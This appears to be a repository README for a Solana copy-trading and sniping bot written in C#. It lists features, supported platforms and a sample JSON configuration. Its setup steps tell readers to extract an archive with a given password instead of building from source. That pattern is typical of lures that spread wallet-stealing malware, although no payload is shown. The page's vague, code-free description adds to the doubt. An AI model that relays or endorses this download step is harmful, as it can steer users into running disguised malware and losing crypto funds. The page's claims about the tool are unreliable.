copytrading bot for the Solana blockchain. It monitors transactions like swaps, transfers, and NFTs across platforms like Raydium, PUMP.FUN, Photon, BonkBot, and more — with support for sniping, liquidity management, and token creation filters.
Solana CopyTrading Bot
A powerful and customizable copytrading bot built in C# for the Solana blockchain, supporting multiple platforms including Raydium, Pump.fun, Moonshot, Photon, GMGN, BonkBot, and Banana Gun. Designed to mirror transactions from top-performing wallets in real time with full control over filters, liquidity management, and sniping strategies.
Features
- Real-Time Transaction Monitoring
- Customizable Filters
- Swaps
- Transfers
- NFT activity
- Token launches
- Liquidity events
- Liquidity Management
- Token Creation Detection
- Sniping Mechanism
- Volume & Activity Filters
- Platform Integration
- Raydium
- Pump.fun
- Moonshot
- Photon
- GMGN
- BonkBot
- Banana Gun
Getting Started
- Clone the repository and follow the step-by-step setup guide in the documentation.
- Extract archive with password
u7Bn9 - Configure your settings
appsettings.json or use the UI to set filters, wallet addresses, and platform preferences.
- Run the bot
Configuration
All settings are fully configurable through a JSON or UI interface (if implemented). Below are the primary config options:
{
"watchedWallets": ["Wallet1", "Wallet2"],
"filters": {
"enableSwaps": true,
"enableTransfers": false,
"enableNFTs": false,
"minVolume": 100,
"maxSlippage": 2.5,
"allowNewTokens": true
},
"platforms": ["Raydium", "Pump.fun", "Photon","Moonshot","GMGN","BonkBot","Banana Gun"],
"snipeSettings": {
"enabled": true,
"autoApprove": true,
"snipeDelayMs": 200
},
"liquidityManagement": {
"autoAdjust": true,
"minLiquidity": 5,
"maxLiquidityPerToken": 100
}
}
Disclaimer
This tool is provided for educational and research purposes only. Use at your own risk. Trading cryptocurrencies carries risk and can lead to significant financial loss.
Contact
For issues, questions, or contributions, feel free to open an Issue or reach out via Pull Request.